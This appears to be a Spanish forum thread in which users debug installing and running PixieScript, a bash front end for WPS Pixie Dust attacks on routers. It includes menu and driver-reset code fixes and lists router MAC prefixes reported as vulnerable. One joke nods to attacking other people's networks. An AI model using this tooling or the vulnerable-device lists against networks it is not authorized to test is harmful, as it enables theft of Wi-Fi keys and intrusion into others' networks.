o las ralink no podrán asociar ...
en la primera línea del ataque ;)
entonces funciona ya bien?voy a probarlo a ver ;) ;)
Pues aun no esta el enlace nuevo,habra que esperar.
a la tarde/noche probare , me voy a mimir que trabajo luego.
mirare lo del icono , ;)
Hola ,gracias por el módulo , probado y la opcion 3 lo de poner el número del BSSID para que ataque ese AP ,por lo menos a mi no me funciona, incluso
probados con vulnerables a pixie ,no lo selecciona ,aparece todo el listado entero de nuevo , en cambio , la opción T , si los prueba todos correctamente sacando keys de los vulnerables ( lo que no sé es donde las guarda ,lo dice ,pero va muy rápido y no se logra leer )
A ver, haz las cosas bien, descarga el archivo del post inicial y sigue los pasos para instalar, la opción de escoger Ap funciona bien. En el post inicial digo donde guarda las claves, en el escritorio tienes Wireless_Keys, y ahi dentro la carpeta Pixiscript, ahi estan las claves
Buenas a todos, creo recordar que comentasteís que el pixie solo se puede atacar con chip Ralink, que con chip atheros o Realtek lo estan poniendo a prueba, eso es cierto o esque me acabo de levantar y lo abre soñado ?
Gracias de antemano
PD: Si eso es cierto, con el chip Zydas funcionaría?
;) ;)
entonces el modulo que ha hecho EVIL8100 no va bien?
Muchas gracias por la respuesta, entendido ;) ;)Buenas a todos, creo recordar que comentasteís que el pixie solo se puede atacar con chip Ralink, que con chip atheros o Realtek lo estan poniendo a prueba, eso es cierto o esque me acabo de levantar y lo abre soñado ?
Gracias de antemano
PD: Si eso es cierto, con el chip Zydas funcionaría?
;) ;)
Se refiere al chipset del AP, no a tu tarjeta wifi.... solo son vulnerables modelos ralink o broadcom...
una pregunta tonta la consola es ejecutar? Ahora desde la consola :...........
lo he intentado instalar el live desde terminal como antes y no me funciona,un saludo
entonces el modulo que ha hecho EVIL8100 no va bien?
EL INSTALADOR CREA SOLO EL MODULO!!!!!! LEER EL POST PRINCIPAL!!!!!
Utilizad el instalador que para eso se ha hecho, y os crea el modulo, dejaros de utilizar modulos de otros, haced lo que se describe en el apartado Instalación del post principal
una pregunta tonta la consola es ejecutar? Ahora desde la consola :...........
lo he intentado instalar el live desde terminal como antes y no me funciona,un saludo
consola, terminal, shell .... la ventanita negra que escribes letras vamos!!! en el caso de WifiSlax con KDE, KONSOLE TERMINAL, a la izquierda del icono de firefox ...
vamos a ver si asi lo intente ayer con la otra version.como pones aqui,
Para facilitar las cosas, poner la carpeta descargada en el escritorio y descomprimirla.
Ahora desde la consola :
cd PixieScript_v2.2
chmod +x INSTALADOR
./INSTALADOR
probe desde la ventana del shell al lado de firefox y cada vez que lo ponia alguno de estos ..cd PixieScript_v2.2
chmod +x INSTALADOR
./INSTALADOR
la respuesta era error no se encuentra el directorio cd PixieScript_v2.2 co la anterior version abria la terminal en la carpeta ponia las ordenes del scrip y no abia problema,un saludo
cd PixieScript_v2.2
chmod +x INSTALADOR
./INSTALADOR
probe desde la ventana del shell al lado de firefox y cada vez que lo ponia alguno de estos ..cd PixieScript_v2.2
chmod +x INSTALADOR
./INSTALADOR
la respuesta era error no se encuentra el directorio cd PixieScript_v2.2 co la anterior version abria la terminal en la carpeta ponia las ordenes del scrip y no abia problema,un saludo
wifislax ~ # cd Desktop
wifislax Desktop # cd PixieScript_v2.3/
wifislax PixieScript_v2.3 # chmod +x INSTALADOR
wifislax PixieScript_v2.3 # ./INSTALADOR
Lo primero,pedir disculpas por intentar colaborar con el foro,ya que hay gente que no sabe como hacer un modulo,ni cuando el script,te pregunta si lo quieres crear.
Sobre el tema que puse,pone claramente,que arregla el tema de los ICONOS..solo eso, y no tiene nada mas cambiado.
Respecto al tema de los permisos en general,los que ya llevamos un tiempo en Linux,sabemos que siempre hay que revisar el tema de permisos.Ya sea desde el terminal,mediante chmod,o simplemente,descomprimir el *.tar.gz,con por ejemplo ark,y despues,dandole con el boton derecho del raton,y darle a propiedades,seguridad,y desde alli,seleccionar los permisos de lectura y escritura,y aplicar a todas las carpetas.
Siempre hay gente que no tiene experiencia con el terminal,y asi,tambien se puede hacer.
Tambien,desde el mismo explorador de archivos (dolphin),puedes seleccionar terminal, y arrastras el instalador y ya está.
Vuelvo a pedir disculpas,ya que solo queria solucionar el tema de los iconos.
UN SALUDO A TODOS
acabo de instalarlo desde live 4.10.1,me crea el modulo y se instala pero al ejecutarlo desde el menu me diceNo me preguntes por qué (porque no me acuerdo ahora), pero 777 no es recomendable. Usa 775
sh: /opt/PixieScript/PixieScript.sh: Permiso denegado
voy a cojer el modulo creado a darle permisos con chmod 777 /ruta del modulo creado a meterlo en modules y a volver a arrancar.
.......me salen pero cuando meto el numero del ap no pasa nada,en ocasiones,......Lo siento pero no te acabo de entender... ¿ en ocasiones funciona y otras no poniendo el número de bssid a atacar ?
llevo un buen rato probandolo,si atacamos con 2 un ap concreto funciona bien,si lo hacemos con 3 y despues ponemos T tambien va bien pero cuando pongo el numero de ap me falla ponga el numero de red que ponga,de todas maneras que lo pruebe mas gente a ver.
ESSID : ONOXXXX
BSSID : 5C:35:3B:XX:XX:XX
FABRICANTE : Compal Broadband Networks Inc.
Vulnerable
??? ??? Pues creo que es por la alfa con ralink3070 porque con el portatil con atheros me funciona todo perfecto.
cuando pulso el numero me vuelven a salir todas las redes otra vez
cuando pulso el numero me vuelven a salir todas las redes otra vez
me pasa lo mismo, me ha funcionado 3 veces poniendo el numero de red y después de eso ya sale todo el rato la lista
edito
acabo de ver la solución y pregunto en la 440 no?
ya estoy operativo ;D
voy a mirar que pasa con los iconos, aunque creo que sin verlo ya lo se..
el instalador busca keys.png e icono.png
pero creo que les pusiste los names bien , en el comprimido con lo que los names no seran los mismos.
bajo y miro.
cuando pulso el numero me vuelven a salir todas las redes otra vez
me pasa lo mismo, me ha funcionado 3 veces poniendo el numero de red y después de eso ya sale todo el rato la lista
edito
acabo de ver la solución y pregunto en la 440 no?
usas xfce ?¿
los que no ven el icono usan xfce ?¿
Ralink RT2870/3070 ,no se exactamente cual
he cambiado las dos lineas y continua fallando.
PD
soy muy novato en todo esto, así que es fácil que este haciendo algo mal, pero la instalación y demás todo, bien, como te digo la primera vez me ha funcionado tres veces seguidas
gracias
[Desktop Entry]
Icon=PixieKeys
[Desktop Entry]
Icon=PixieKeys
pues en kde , se me ve el icono ... ???
sigo mirando.
[Desktop Entry]
Icon=PixieKeys
cambia lo del directory , arregla lo de interfaz y v2.4 ;) :D ;D
al menos los bugs son pequeños ;)
respondimos a la vez ... mirate un mensaje mas atras.Código: [Seleccionar][Desktop Entry]
Icon=PixieKeys
Yo en KDE tampoco se me veia el icono.
El tema es redirijirlo, y ya esta... eso es lo que hice en el modulo
Un saludo a todos
ifconfig $INTERFAZ up &> /dev/null
A VER , el tema icono es sencillo
si el png esta en una de las rutas estandard , no se usa la ruta absoluta ,solo el name sin extension.
si por ejemplo el icono esta en /opt ...entonces SI DEBES USAR RUTA ABSOLUTA.
PD: Los que tengais problemas activad el modo debug que para eso esta.
voy a probar atque de una en una , aver si veo el bug que comentan.
Citar
Ralink RT2870/3070 ,no se exactamente cual
he cambiado las dos lineas y continua fallando.
PD
soy muy novato en todo esto, así que es fácil que este haciendo algo mal, pero la instalación y demás todo, bien, como te digo la primera vez me ha funcionado tres veces seguidas
gracias
La dos lineas? Solo tienes que cambiar una, ehhhhh
Ahora ves a la linea 441
Pone : ifconfig $INTERFAZ_MONITOR up &> /dev/null
Cambialo por : ifconfig $INTERFACE_MONITOR up &> /dev/null
Lo guardas y vuelves a lanzar el script con la ralink, y me cuentas
Es decir en la 441 cambias INTERFAZ_MONITOR por INTERFACE_MONITOR
Borrar 1 letra (Z) y añadir 2 (CE)......
bug confirmado ...Me estoy volviendo loco!!!! He descargado la version que esta ahora mismo colgada, por si acaso, la lanzo, y me funciona bien lo de elegir red!!!
cuando se muetsra lista de objetivos , si decides marcar solo una, por ejemplo la numero 5 , ..el script resetea la lista de objetivos y nada mas, es decir ... vuelve a mostrar la lista ya hay se queda.
bug confirmado ...exacto pero solo es a veces,a lo mejor a la primera va dandole a lo mejor al 5 y despues le das al 6 y resetea la lista de objetivos y ya no va
cuando se muetsra lista de objetivos , si decides marcar solo una, por ejemplo la numero 5 , ..el script resetea la lista de objetivos y nada mas, es decir ... vuelve a mostrar la lista ya hay se queda.
Hola ,gracias por el módulo , probado y la opcion 3 lo de poner el número del BSSID para que ataque ese AP ,por lo menos a mi no me funciona con todos los vulnerables a pixie (verdes incluso con una confirmada por mi) con unos funciona y otros no , en cambio en la opcion T si saca los saca todos ( lo que no sé es donde los guarda).
Pienso que no deben influir los tres módulos nuevos parapixiewps del GeminisAuditor ,que los tengo en wifislax .
No estaría mal si en la lista aparece resaltada alguna linea cuya MAC coincida con la de la base de datos.
Salu2
USUARIONUEVO te he mandado un MP .....
Por otro lado, a los que os falla elegir el numero de la red a atacar,a ver si me podeis responder a estas preguntas :
Os pasa a con RALINK ?
Con WifiSlax en modo Live o en HD?
Matais NetworkManager cuando os lo pregunta?
Cambiais la mac?
Alguno que le funciones bien.... que chipset tiene tu tarjeta??
No, me refiero antes del ataque.No estaría mal si en la lista aparece resaltada alguna linea cuya MAC coincida con la de la base de datos.
Salu2
no lo has probado , si no habrias visto que las marca en verde , y despues de un ataque , marca con amarillo de las que obtubo datos parciales, en rojo las que nanai ,etc etc. ;)
No, me refiero antes del ataque.No estaría mal si en la lista aparece resaltada alguna linea cuya MAC coincida con la de la base de datos.
Salu2
no lo has probado , si no habrias visto que las marca en verde , y despues de un ataque , marca con amarillo de las que obtubo datos parciales, en rojo las que nanai ,etc etc. ;)
Salu2
USUARIONUEVO te he mandado un MP .....
Por otro lado, a los que os falla elegir el numero de la red a atacar,a ver si me podeis responder a estas preguntas :
Os pasa a con RALINK ?
Con WifiSlax en modo Live o en HD?
Matais NetworkManager cuando os lo pregunta?
Cambiais la mac?
Alguno que le funciones bien.... que chipset tiene tu tarjeta??
respondido .... fichero .directory ;D , esta OCULTO ,
a la pregunta, he probado tanto matandolo como no matandolo ... no puedo atacar de una en una ...
la mac no la cambio nunca.
...
he visto en el script que revisas si se pone
m/M para el menu o t/T para atque total ,pero no veo que mire si se eligio solo 1 ...igual me cuelo.
while [[ $decision != "m" && $decision != "M" && $decision != "t" && $decision != "T" && $decision -lt 1 && $decision -gt $maximo ]]
case $decision in
[mM]) menu
;;
[tT]) echo ""
MODO_AUTOMATICO="SI"
ataque_automatico;
;;
[1-$maximo]) echo ""
MODO_AUTOMATICO="NO"
atacar_ap_aut
echo -e $CYAN"Ataque finalizado, pulsa ENTER para continuar"$COL_RESET
read
;;
esac
Código: [Seleccionar]while [[ $decision != "m" && $decision != "M" && $decision != "t" && $decision != "T" && $decision -lt 1 && $decision -gt $maximo ]]
y luego en el caseCódigo: [Seleccionar]case $decision in
[mM]) menu
;;
[tT]) echo ""
MODO_AUTOMATICO="SI"
ataque_automatico;
;;
[1-$maximo]) echo ""
MODO_AUTOMATICO="NO"
atacar_ap_aut
echo -e $CYAN"Ataque finalizado, pulsa ENTER para continuar"$COL_RESET
read
;;
esac
en lo de arriba no deberia haber
$decision != "1"
como digo igual me cuelo , pero solo puede ser algo en esa zona, ya que hay es donde se marca la variable decision ...
si consigues reproducir el error,ya es un avance, trabajar a ciegas es jodio.
case $decision in
[mM]) menu
;;
[tT]) echo ""
MODO_AUTOMATICO="SI"
ataque_automatico
;;
[1-"$maximo"]) echo ""
MODO_AUTOMATICO="NO"
atacar_ap_aut
echo -e $CYAN"Ataque finalizado, pulsa ENTER para continuar"$COL_RESET
read
;;
esac
if [[ $decision = "m" || $decision = "M" ]]; then
menu
elif [[ $decision = "t" || $decision = "T" ]]; then
echo
MODO_AUTOMATICO="SI"
ataque_automatico
elif [[ $decision -ge 1 && $decision -le $maximo ]]; then
MODO_AUTOMATICO="NO"
atacar_ap_aut
echo -e $CYAN"Ataque finalizado, pulsa ENTER para continuar"$COL_RESET
read
fi
bug confirmado ...
cuando se muetsra lista de objetivos , si decides marcar solo una, por ejemplo la numero 5 , ..el script resetea la lista de objetivos y nada mas, es decir ... vuelve a mostrar la lista ya hay se queda.
ERROR: No se detectó ninguna tarjeta WiFi
Pulsa ENTER para salir ...
./PixieScript.sh: línea 145: salir: no se encontró la orden
Sólo se ha detectado una tarjeta WiFi:
ls: no se puede acceder a /sys/class/net//device/driver: No existe el fichero o el directorio
Reiniciando la interfaz ...
Se han encontrado procesos que podrian interferir en el funcionamiento de la tarjeta de red en modo monitor
NetworkManager dhcpcd wpa_supplicant
¿ Deseas detenerlos (s/n) ?
bug confirmado ...
cuando se muetsra lista de objetivos , si decides marcar solo una, por ejemplo la numero 5 , ..el script resetea la lista de objetivos y nada mas, es decir ... vuelve a mostrar la lista ya hay se queda.
Iba a intentar echar una mano, pero no consigo reproducir ese error.
Lo que si he encontrado es un error tonto al no encontrar ninguna tarjeta wifi:Código: [Seleccionar]ERROR: No se detectó ninguna tarjeta WiFi
Pulsa ENTER para salir ...
./PixieScript.sh: línea 145: salir: no se encontró la orden
Sólo se ha detectado una tarjeta WiFi:
ls: no se puede acceder a /sys/class/net//device/driver: No existe el fichero o el directorio
Reiniciando la interfaz ...
Se han encontrado procesos que podrian interferir en el funcionamiento de la tarjeta de red en modo monitor
NetworkManager dhcpcd wpa_supplicant
¿ Deseas detenerlos (s/n) ?
el tema de seleccion de objetivo , ARREGLADO , TANTO DE UNO EN UNO COMO USANDO T
, esa parte , resuelta. >:D >:(
Justo ahora te lo iba a comentar por privado pero ya que preguntas te contesto por aquí >:D
Este último que me pasaste si me funciona perfecto >:(
Lo de la violación de segmento quizás tuviera que ver con que estaba compilado en otra versión de Wifislax, yo estoy utilizando una de las de desarrollo, pero no es la última, quizás fuera por eso.
Ahora que va bien, si te apetece ponle también lo de que muestre el modelo y marca del router con el parámetro -G, que creo que prodría venir bien en determinados casos.
No se que mas datos de interes maneja reaver, pero si ves que hay algo mas de información que se pueda sacar del router mételos tambien en el parámetro G si quieres.
Lo del tshark si lo borro, pero lo del reaver_pixie me espero a que tengamos la versión definitiva que le guste a geminis, ya que como los nuevos cambios los empezamos ayer noche, y ahora mismo voy a hacerle más, y hay que testear e incluso hacer el patch, pues por ahora del instalador lo unico que toco es borrar la parte del tshark, ya para la proximo version si ya tenemos el mod acabado y estable pues incluyo el patvh y quitamos el control... ¿que te parece ?
de momento parece que todo ok. :D
Si no me equivoco, cuando estás en modo T, y pulsas la tecla Ctrl+C, se sale del programa. Creo que estaría mejor que se saliese al menú principal...
Salu2
Si, ya me di cuenta, seria buena idea eso, también se podria generar un txt con redes detectadas, como hace geminis auditor, para no tener que volver a escanear, un saludo y a testear ;)
B2:46:FC Esta MAC, está en el listado del primer post, pero no aparece si lo miramos por la aplicación.
El ESSID es MOVISTAR_XXXX.
Por cierto, otra MAC vulnerable: 5C:35:3B >:(
Pues subida la v2.4
Gracias a todos ....
B2:46:FC Esta MAC, está en el listado del primer post, pero no aparece si lo miramos por la aplicación.
El ESSID es MOVISTAR_XXXX.
Por cierto, otra MAC vulnerable: 5C:35:3B >:(
El ESSID es de ONOXXXX? has comprobado si también es vulnerable al algoritmo ComputePIN? Lo digo para añadirla a la bd.
hola soy nuevo en esto pero ya instale como lo dijeron me da el error al ejecutarlo sh: /opt/PixieScript/PixieScript.sh: Permiso denegado
ya le di los permisos y da un pantallazo y no arranca es el pixie v2.4
gracias
otra cosa se te olvida (5.1) al principio en explicasion de instalacion se te olvida:
wifislax ~ # cd Desktop
y luego lo siguiente que explicas
hola soy nuevo en esto pero ya instale como lo dijeron me da el error al ejecutarlo sh: /opt/PixieScript/PixieScript.sh: Permiso denegadoabre una shell y pon
ya le di los permisos y da un pantallazo y no arranca es el pixie v2.4
gracias
otra cosa se te olvida (5.1) al principio en explicasion de instalacion se te olvida:
wifislax ~ # cd Desktop
y luego lo siguiente que explicas
saludos
Compañeros y como lo instalo yo que utilizo un liveusb ?
Muchas gracias, de todas formas mirando buscando en las respuestas de este post, he encontrado que un compañeros pone que la ISO del wifislax del 14/4/2015 viene ya incluido la v.2.4, que es la ultima por lo que veo, entonces creando un nuevo USBboot , con esta iso lo tendre todo instalado no ?Compañeros y como lo instalo yo que utilizo un liveusb ?
Arrancas en modo live, descargas el script, lo instalas con el instalador tal como explico, cuando acabe te dira si quieres crear el modulo, le das enter y se creará el modulo, lo copias en la carpeta modules y listo.....
Muchas gracias, de todas formas mirando buscando en las respuestas de este post, he encontrado que un compañeros pone que la ISO del wifislax del 14/4/2015 viene ya incluido la v.2.4, que es la ultima por lo que veo, entonces creando un nuevo USBboot , con esta iso lo tendre todo instalado no ?Compañeros y como lo instalo yo que utilizo un liveusb ?
Arrancas en modo live, descargas el script, lo instalas con el instalador tal como explico, cuando acabe te dira si quieres crear el modulo, le das enter y se creará el modulo, lo copias en la carpeta modules y listo.....
Que te refieres al pixieScript ?Muchas gracias, de todas formas mirando buscando en las respuestas de este post, he encontrado que un compañeros pone que la ISO del wifislax del 14/4/2015 viene ya incluido la v.2.4, que es la ultima por lo que veo, entonces creando un nuevo USBboot , con esta iso lo tendre todo instalado no ?Compañeros y como lo instalo yo que utilizo un liveusb ?
Arrancas en modo live, descargas el script, lo instalas con el instalador tal como explico, cuando acabe te dira si quieres crear el modulo, le das enter y se creará el modulo, lo copias en la carpeta modules y listo.....
Sí, lo que no se es que versión del script lleva esa iso, deberias preguntarle a USUARIONUEVO
Pues subida la v2.4
Gracias a todos ....
muchas gracias, pero no me encuentra ninguna red y al poner N o T al dar a intro me borra la letra
Ralink RT2870/3070 ,no se exactamente cual
en los dos modos
no cambio la mac
los procesos me los detiene bien (o eso dice)
pongo 30 segundos de espera
instalado en virtualbox en un mac
sin tocar nada con geminisauditor me las encuentra
con la 2.3 me funcionaba un par o tres de veces
PD
soy muy novato en todo esto ;D
gracias de nuevo y saludos >:(
Pues subida la v2.4
Gracias a todos ....
muchas gracias, pero no me encuentra ninguna red y al poner N o T al dar a intro me borra la letra
Ralink RT2870/3070 ,no se exactamente cual
en los dos modos
no cambio la mac
los procesos me los detiene bien (o eso dice)
pongo 30 segundos de espera
instalado en virtualbox en un mac
sin tocar nada con geminisauditor me las encuentra
con la 2.3 me funcionaba un par o tres de veces
PD
soy muy novato en todo esto ;D
gracias de nuevo y saludos >:(
me autocito, por que continua sin funcionar, a ver si me echais una mano
continua sin encontrarme ninguna red, ayer metí la 2.3 y me funciono una vez(por el bug supongo), he vuelto a meter la 2.4 y no hay manera.
he creado el modulo y arrancado con una live y tampoco me ha funcionado.
no se muy bien por donde tirar
gracias
Puedo confirmar una de las macs de ono con cablemodems compal.
ESSID: ONOXXXX
Mac: DC:53:7C:XX:XX:XX
Fabricante: Compal
Modelo: CG6640E
La versión del firmware: CG6640-3.5.1.10a-SH
El script funciona bien,pero si pulsas N en vez de M,logicamente te vuelve a salir el listado sin hacer nada..;););) ..Un saludo a todos
una de las cosas que estoy implementando es la actualización via internet de la base de datos de las macs afectadas, así no tendremos que esperar una nueva versión para tenerla al día.
grep "PixieWPS" /root/swireless/patrones_conocidos.txt
También puedes utilizar la base de datos de wifislax, que se actualiza automáticamente y siempre está al día con las nuevas macs que se van descubriendo.
Con un simple grep ya tienes las compatibles con pixiewps:Código: [Seleccionar]grep "PixieWPS" /root/swireless/patrones_conocidos.txt
También puedes utilizar la base de datos de wifislax, que se actualiza automáticamente y siempre está al día con las nuevas macs que se van descubriendo.
Con un simple grep ya tienes las compatibles con pixiewps:Código: [Seleccionar]grep "PixieWPS" /root/swireless/patrones_conocidos.txt
¿ Pero lo que se actualiza automaticamente es la base de datos alojada en los servidores del foro no ?
El archivo local (/root/swireless/patrones_conocidos.txt) ¿ se actualiza también? ¿Y si es así, cómo?
Vale, ya se como jejeje.... lo que tendria que hacer es desde el script ejecutar la actualizacion de la base de datos (patrones_conocidos.txt) y despues ese grep ... ¿correcto?
Hala,todos atancando redes ajenas ehhhhhhhhh ;D ;D ;D ;D ;D
Para la próxima versión, además del cambio principal que ya has visto ( secreto por ahora, a alimentar el hype jejejeje )
Hola a todos, he probado la última versión en portátil y en una torre, lo curioso que en el portátil funciona perfectamente, pero en la torre no escanea ninguna red, siendo la misma versión en los 2 equipos, me he fijado que en el portatil pone activado monitor en mon0 , sin embargo en la torre, que no escanea redes pone activado monitor en enabled , todavía no sé porque cambia el nombre de la interface y no funciona, un saludo desde Asturias ;)
5.1, estoy intentado mandarte el reporte del error por privado , pero cuando le doy a enviar, no hace nada, no sé si te llegó, de todas formas, esa información no te la puedo poner por aqui?
Un saludo 8)
Yo tengo varias preguntas lo primero que chipset hay que usar para el ataque, es decir no el vulnerable si no el adaptador wifi. Porque yo he probado con un Atheros y Y una alpha de 1 w y nada... En ambos me sale en todos que no consigue datos. Que puede Ser??? En la versión 2.1 no me pasaba.
Pues a mi nada de nada de ninguna obtiene ni datos....uso wifislax 4.10Yo tengo varias preguntas lo primero que chipset hay que usar para el ataque, es decir no el vulnerable si no el adaptador wifi. Porque yo he probado con un Atheros y Y una alpha de 1 w y nada... En ambos me sale en todos que no consigue datos. Que puede Ser??? En la versión 2.1 no me pasaba.
Yo tengo Atheros,Broadcom y Alfa 1w ,y funciona con todas
;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
UN SALUDO A TODOS
llega a asociarte el reaver?al lo mejor es porque estan lejos.Que va, he probado con varios routers de los tengo propiedad y nada. En todos hace lo mismo. Se cierra super rápido e reaver
llega a asociarte el reaver?al lo mejor es porque estan lejos.Que va, he probado con varios routers de los tengo propiedad y nada. En todos hace lo mismo. Se cierra super rápido e reaver
He cojido el enlace que hay en el primer hilo, y he cojido lo he descomprimido, he ejecutado el script instalador y me crea el módulo y ese módulo lo he metido en la carpeta modules. Yo he pensado que pueda ser algo de permisos.... Uso la versión final 4.10 ( la última estable) con kernel de serie en modo live.llega a asociarte el reaver?al lo mejor es porque estan lejos.Que va, he probado con varios routers de los tengo propiedad y nada. En todos hace lo mismo. Se cierra super rápido e reaver
¿que paquete estas usando? ..por que tengo una sospecha.
si usas la iso de desarrollo ,... deberia funcionar bien
si usas el INSTALADOR , en wifislax, deberia ir bien
¿estas usando un xzm que bajaste? ¿cual? ...
He cojido el enlace que hay en el primer hilo, y he cojido lo he descomprimido, he ejecutado el script instalador y me crea el módulo y ese módulo lo he metido en la carpeta modules. Yo he pensado que pueda ser algo de permisos.... Uso la versión final 4.10 ( la última estable) con kernel de serie en modo live.llega a asociarte el reaver?al lo mejor es porque estan lejos.Que va, he probado con varios routers de los tengo propiedad y nada. En todos hace lo mismo. Se cierra super rápido e reaver
¿que paquete estas usando? ..por que tengo una sospecha.
si usas la iso de desarrollo ,... deberia funcionar bien
si usas el INSTALADOR , en wifislax, deberia ir bien
¿estas usando un xzm que bajaste? ¿cual? ...
pues como no sea el mismo bug que reporto otro usuario , que tras poner en modo monitor la tarjeta desaparece ....
Sí pero que también lo haga la alpha de 1w que no es Atheros....He cojido el enlace que hay en el primer hilo, y he cojido lo he descomprimido, he ejecutado el script instalador y me crea el módulo y ese módulo lo he metido en la carpeta modules. Yo he pensado que pueda ser algo de permisos.... Uso la versión final 4.10 ( la última estable) con kernel de serie en modo live.llega a asociarte el reaver?al lo mejor es porque estan lejos.Que va, he probado con varios routers de los tengo propiedad y nada. En todos hace lo mismo. Se cierra super rápido e reaver
¿que paquete estas usando? ..por que tengo una sospecha.
si usas la iso de desarrollo ,... deberia funcionar bien
si usas el INSTALADOR , en wifislax, deberia ir bien
¿estas usando un xzm que bajaste? ¿cual? ...
pues como no sea el mismo bug que reporto otro usuario , que tras poner en modo monitor la tarjeta desaparece ....
pues como no sea el mismo bug que reporto otro usuario , que tras poner en modo monitor la tarjeta desaparece ....
Eso me pasa mi continuamente con la atheros desde que se actualizó el kernel... me estaba volviendo loco, me he comprado una ralink solo por eso.
Te pregunté si a ti te pasaban cosas raras con las atheros y me dijiste que no, así que pensé que era solo cosa de mi tarjeta y no le di mas vueltas.
Me pasa cuando desmonto el driver y lo vuelvo a montar, que me desaparece la interfaz aunque el driver está montado, y la única forma de que vuelva a aparecer es desconectando el usb y volviendolo a conectar.
reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" >/dev/null 2>&1 #reiniciamos la interfaz
if [ "$DRIVER" = "ath9k_htc" ]
then
ifconfig $INTERFAZ >/dev/null 2>&1
while [ $? -eq 0 ] #esperamos a que se desactive el módulo de la interfaz
do
ifconfig $INTERFAZ >/dev/null 2>&1
done
fi
modprobe "$DRIVER" >/dev/null 2>&1
if [ "$DRIVER" = "ath9k_htc" ]
then
ifconfig $INTERFAZ >/dev/null 2>&1
while [ $? -ne 0 ] #esperamos a que se active el módulo de la interfaz
do
ifconfig $INTERFAZ >/dev/null 2>&1
done
fi
}
La última versión del geminisauditor lleva un sleep 5, y ni con esas...
siento ser tan pesado , pero creo es conveniente dar el maximo de informacion a desarrolladores.Uso el kernel de serie creo que es el 3.12.xx no estoy en wifislax ahora mismo.
si no recuerdo mal ...
en los kerneles nuevos , las atheros , les pasa como las ralink ... necesitan la interface real UP
si matamos networkmanager la interface queda DOWN
siempre antes de un ataque o scan ...asegurar de levantar interface real.
creo que algunos scripts llevan reglas de ese tipo , pero solo contemplan si es un chip ralink .. y ahora los atheros se comportan igual.
___________________________________________________________________________________________________________
forma de evitar todo esto , seria usar airmon-zc , el cual no genera interface virtual ,si no que directamente convierte la real , en modo monitor y UP
pero hay muchisimos scripts que dejan de funcionar , al no generarse la interafce virtual ...algunas apps, son guis , de las que no hay sources , y directamente irian a la basura.
la linea correcta seria adaptarse a la lionea de trabajo actual ..
con esa nueva forma, ni siquiera el kernel necesita patches ... al ser siempre interfaces reales y solo estan en uno u otro modo ...
trabajr en eso , llevaria semanas de trabajo y quitar muchas apps .... pero al final , ...renovarse o morir.
reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
}
solvedCódigo: [Seleccionar]reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
}
confirmo que es problema del script ;D
llevo meses con kerneles 3.16 - 3.19 y cero problemas con las tarjetas a excepcion de wash 00
ALE , sin sleeps ni ostias raras ;D
solvedCódigo: [Seleccionar]reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
}
confirmo que es problema del script ;D
llevo meses con kerneles 3.16 - 3.19 y cero problemas con las tarjetas a excepcion de wash 00
ALE , sin sleeps ni ostias raras ;D
Me sigue petando igual...
El driver siempre se monta correctamente, haces un lsmod y lo ves que esta ahí, pero la interface ni existe.
reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo "$DRIVER" >/opt/PixieScript/LOGS/driver
DRIVER_LOAD=`cat /opt/PixieScript/LOGS/driver`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER_LOAD" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
rm -rf /opt/PixieScript/LOGS/driver
}
rmmod ath9k_htc
modprobe ath9k_htc
#!/bin/bash
reiniciar_interface() {
INTERFAZ=wlan2
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo "$DRIVER" >/opt/PixieScript/LOGS/driver
DRIVER_LOAD=`cat /opt/PixieScript/LOGS/driver`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER_LOAD" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
rm -rf /opt/PixieScript/LOGS/driver
}
reiniciar_interface
rmmod -f ath9k_htc && modprobe ath9k_htc
reiniciar_interface() {
DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | awk -F '/' '{print $NF}'`
echo "$DRIVER" >/opt/PixieScript/LOGS/driver
DRIVER_LOAD=`cat /opt/PixieScript/LOGS/driver`
echo -e $AMARILLO"Reiniciando la interfaz $INTERFAZ $DRIVER..."$COL_RESET
echo ""
rmmod -f "$DRIVER" &>/dev/null && modprobe "$DRIVER_LOAD" &>/dev/null && ifconfig $INTERFAZ up &>/dev/null
rm -rf /opt/PixieScript/LOGS/driver
}
pffffffffffffffffffffffffff
¡¡¡¡¡¡¡¡ es el puto firmwareeeeeeeeeeeeeeeeee !!!!!!!
https://github.com/olerem/ath9k-htc-firmware-blob
usando los mas nuevos , ya no pasa.
ahora re-comprubo pixie 2.4 con esos firmwares
Probado pixie 2.4 ORIGINAL , con su funcion original de reset interface funciona perfecto con ath9k_htc ,siempre que tengamos los firmwares del link que puse.
dentro de un rato actualizare en el ftp el script de buscar firmwares y la iso de desarrollo ...que viene con sorpresa made in geminis_demon ;D
Buenos dias.
